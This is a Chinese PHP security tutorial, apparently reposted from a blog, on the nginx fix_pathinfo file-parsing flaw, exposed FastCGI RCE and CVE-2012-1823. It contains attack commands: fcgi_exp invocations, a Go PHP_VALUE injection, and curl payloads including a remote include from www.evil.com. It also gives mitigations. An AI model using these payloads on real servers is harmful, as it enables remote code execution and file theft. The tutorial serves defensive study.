<span>1</span><span>. Introduction </span><span>2</span><span>. nginx文件类型错误解析漏洞 </span><span>3</span>. 针对直接公网开放的Fast-<span>CGI攻击 </span><span>4</span>. 通过FCGI API动态修改php.ini中的配置实现RCE

<span>1</span><span>. CGI
CGI是为了保证web server传递过来的数据是标准格式的,从本质上来说,它是一个协议标准。web server(例如nginx)只是内容的分发者。比如
</span><span>1</span>) 如果请求/<span>index.html,那么web server会去文件系统中找到这个文件,发送给浏览器,这里分发的是静态数据
</span><span>2</span>) 如果请求的是/<span>index.php,根据配置文件,nginx知道这个不是静态文件,需要去找PHP解析器来处理,那么他会把这个请求简单处理后交给PHP解析器
问题的核心在于Nginx需要传哪些数据给PHP解析器呢,例如
</span><span>1</span><span>) url
</span><span>2</span><span>) 查询字符串
</span><span>3</span><span>) POST数据
</span><span>4</span><span>) HTTP header
..
本质上CGI就是规定要传哪些数据、以什么样的格式传递给后方处理这个请求的协议,而对应的是,只要是遵循这个协议标准实现的程序,就可以称之为CGI程序
</span><span>2</span><span>. FastCGI
首先明确一点,FastCGI也同样是一个协议标准,FastCGI的设计目的是提高CGI程序的性能的
</span><span>1</span><span>) 首先,Fastcgi会先启一个master,解析配置文件,初始化执行环境
</span><span>2</span><span>) 然后再启动多个worker
</span><span>3</span><span>) 当请求过来时,master会传递给一个worker,然后立即可以接受下一个请求。这样就避免了重复的劳动,效率提高了
</span><span>4</span><span>) 而且当worker不够用时,master可以根据配置预先启动几个worker等着,同时如果发现空闲worker太多时,也会停掉一些,这样就提高了性能,也节约了资源
而对应的是,只要是遵循了这个协议标准实现的程序,就可以称之为FastCGI程序
</span><span>3</span>. PHP-CGI / PHP-<span>FastCGI
PHP的解释器是PHP</span>-CGI,PHP-<span>CGI只是个CGI程序,他自己本身只能解析请求,返回结果,不会进程管理
</span><span>4</span>. <span>PHP-FPM
PHP</span>-FPM是PHP-CGI进程的管理器,用来管理PHP-CGI进程的,PHP-FPM的管理对象是PHP-CGI

<span>1</span>. 支持平滑停止/<span>启动的高级进程管理功能 </span><span>2</span>. 可以工作于不同的 uid/gid/<span>chroot 环境下,并监听不同的端口和使用不同的 php.ini 配置文件(可取代 safe_mode 的设置) </span><span>3</span><span>. stdout、stderr日志记录 </span><span>4</span><span>. 在发生意外情况的时候能够重新启动并缓存被破坏的 opcode </span><span>5</span><span>. 文件上传优化支持 </span><span>6</span>. <span>"</span><span>慢日志</span><span>"</span> -<span> 记录脚本(不仅记录文件名,还记录 PHP backtrace 信息,可以使用 ptrace或者类似工具读取和分析远程进程的运行数据)运行所导致的异常缓慢 </span><span>7</span>. fastcgi_finish_request() -<span> 特殊功能:用于在请求完成和刷新数据后,继续在后台执行耗时的工作(录入视频转换、统计处理等) </span><span>8</span><span>. 动态/静态子进程产生 </span><span>9</span><span>. 基本 SAPI 运行状态信息(类似Apache的 mod_status) </span><span>10</span>. 基于 php.ini 的配置文件

立即学习“PHP免费学习笔记(深入)”;
http:<span>//</span><span>php.net/manual/zh/install.fpm.configuration.php</span> http:<span>//</span><span>php.net/manual/zh/install.fpm.php</span> http:<span>//</span><span>segmentfault.com/q/1010000000256516</span>

立即学习“PHP免费学习笔记(深入)”;
location ~<span> .php$
{
root html;
fastcgi_pass </span><span>127.0</span>.<span>0.1</span>:<span>9000</span><span>;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME </span>/<span>scripts$fastcgi_script_name;
include fastcgi_params;
}</span>
立即学习“PHP免费学习笔记(深入)”;
<span>1</span><span>. location对请求进行选择的时候会使用URI环境变量进行选择
</span><span>1</span><span>) 其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定
</span><span>2</span><span>) 而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的
</span><span>2</span>. 这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名 
<span>1</span>. 假设存在一个URL: http:<span>//</span><span>localhost/test/test.jpg</span><span>2</span>. 我们以如下的方式去访问: http:<span>//</span><span>localhost/test/test.jpg/test.php</span><span>3</span>. nginx将会得到一个URI: /test.jpg/<span>test.php
</span><span>4</span>. 经过location指令,该请求将会交给后端的fastcgi处理,nginx为其设置环境变量SCRIPT_FILENAME,内容为: /scripts/test.jpg/<span>test.php
</span><span>5</span><span>. 后端的fastcgi在接受到该选项时,会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理,一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用,所以该选项一般配置开启。php通过该选项之后将查找其中真正的脚本文件名字,查找的方式也是查看文件是否存在,这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为
</span><span>1</span>) SCRIPT_FILENAME: /scripts/<span>test.jpg
</span><span>2</span><span>) PATH_INFO: test.php
</span><span>6</span>. 最后,以/scripts/test.jpg作为此次请求需要执行的脚本,而nginx会使用php解析器来处理这个jpg文件,攻击者就可以实现让nginx以php来解析任何类型的文件了 

<span>1</span><span>. 修改php.ini配置
cgi.fix_pathinfo </span>= <span>0</span><span>2</span><span>. nginx配置文件中添加
</span><span>if</span> ( $fastcgi_script_name ~ ..*/.*<span>php )
{
</span><span>return</span><span>403</span><span>;
}
</span><span>/*</span><span>
考虑到MVC框架、用户自定义站点中有可能出现xxx/xx.php的情况,这个规则应该更加细粒度一点,例如*.jpg/.*php、*.txt/.*php
</span><span>*/</span>
<span>service nginx reload </span><span>//</span><span>or </span> /etc/init.d/nginx reload

<span>1</span><span>. 利用FCGI RCE漏洞修改目标服务器的nginx配置文件的配置
</span><span>if</span> ( $fastcgi_script_name ~ ..*/.*<span>php )
{
</span><span>return</span><span>403</span><span>;
}
</span><span>2</span><span>. 利用FCGI RCE漏洞动态修改php.ini的值
cgi.fix_pathinfo </span>= <span>0</span>
http:<span>//</span><span>www.80sec.com/nginx-securit.html</span> http:<span>//</span><span>php.net/manual/zh/ini.core.php</span>
<span>/*</span><span> 1. php-fpm默认监听的端口是9000 2. 使用sV的原因是,因为9000端口可能还存在其他服务,这里需要借用nmap的指纹识别先帮我们鉴定一下 </span><span>*/</span><span> nmap </span>-sV -p <span>9000</span> --open <span>173</span>.xxx.xxx.<span>1</span>/<span>24</span>

./fcgi_exp read <span>173</span>.xxx.xxx.<span>183</span><span>9000</span> /etc/<span>issue </span><span>/*</span><span> 1. 在FASTCGI_PARAMS中,设定DOCUMENT_ROOT为"/"根目录 2. 设置SCRIPT_FILENAME为/etc/issue 3. 这样,只要我们有权限,我们就可以控制fcgi去读取这台机器上的任意文件了。实际上这并不是读取,而是用php去执行它 </span><span>*/</span>


<span>..
env :</span>= make(map[<span>string</span>]<span>string</span><span>)
env[</span><span>"</span><span>SCRIPT_FILENAME</span><span>"</span>] =<span> url
env[</span><span>"</span><span>DOCUMENT_ROOT</span><span>"</span>] = <span>"</span><span>/</span><span>"</span><span>
env[</span><span>"</span><span>SERVER_SOFTWARE</span><span>"</span>] = <span>"</span><span>go / fcgiclient </span><span>"</span><span>
env[</span><span>"</span><span>REMOTE_ADDR</span><span>"</span>] = <span>"</span><span>127.0.0.1</span><span>"</span><span>
env[</span><span>"</span><span>SERVER_PROTOCOL</span><span>"</span>] = <span>"</span><span>HTTP/1.1</span><span>"</span><span>if</span> len(reqParams) != <span>0</span><span>{
env[</span><span>"</span><span>CONTENT_LENGTH</span><span>"</span>] =<span> strconv.Itoa(len(reqParams))
env[</span><span>"</span><span>REQUEST_METHOD</span><span>"</span>] = <span>"</span><span>POST</span><span>"</span><span>
env[</span><span>"</span><span>PHP_VALUE</span><span>"</span>] = <span>"</span><span>allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input</span><span>"</span><span>
}
</span><span>else</span><span>{
env[</span><span>"</span><span>REQUEST_METHOD</span><span>"</span>] = <span>"</span><span>GET</span><span>"</span><span>
}
..</span>

<span>1</span><span>. 类似于一个普通的LFI漏洞,如果你知道这台机器上的log路径,或者任何你可以控制内容的文件路径,你就可以执行任意代码了 </span><span>//</span><span>将LFI漏洞转化为RCE的相关知识,请参阅另一篇文章: </span><span><u>http://www.cnblogs.com/LittleHann/p/3665062.html</u></span><span>2</span>. 动态修改php.ini中的auto_prepend_file的值,去远程执行任意文件。将一个LFI的漏洞变成了RFI

<span>1</span><span>. 不要把fcgi接口对公网暴露 </span><span>2</span>. 对fcgi会添加身份认证机制
env[<span>"</span><span>REQUEST_METHOD</span><span>"</span>] = <span>"</span><span>POST</span><span>"</span><span>env[</span><span>"</span><span>PHP_VALUE</span><span>"</span>] = <span>"</span><span>auto_prepend_file = php://input</span><span>"</span><span>env[</span><span>"</span><span>PHP_ADMIN_VALUE</span><span>"</span>] = <span>"</span><span>allow_url_include = On\ndisable_functions = \nsafe_mode = Off</span><span>"</span>
./fcgi_exp system <span>127.0</span>.<span>0.1</span><span>9000</span> /tmp/a.php <span>"</span><span>id; uname -a</span><span>"</span>

<span>1</span><span>. 本地包含直接执行代码:
curl </span>-H <span>"</span><span>USER-AGENT: <?system('id');die();?></span><span>"</span> http:<span>//</span><span>target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n </span><span>2</span><span>. 远程包含执行代码:
curl http:</span><span>//</span><span>target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt
</span><span>//</span><span>-d参数: 作用是给php定义一个ini的值</span>
<span>1</span><span>. 不要把fcgi接口对公网暴露(重要) </span><span>2</span><span>. 对fcgi会添加身份认证机制 </span><span>3</span>. 升级php cgi
http:<span>//</span><span>zone.wooyun.org/content/1060</span> http:<span>//</span><span>zone.wooyun.org/content/151</span> http:<span>//</span><span>eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/</span>
以上就介绍了PHP FastCGI RCE Vul,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。
PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号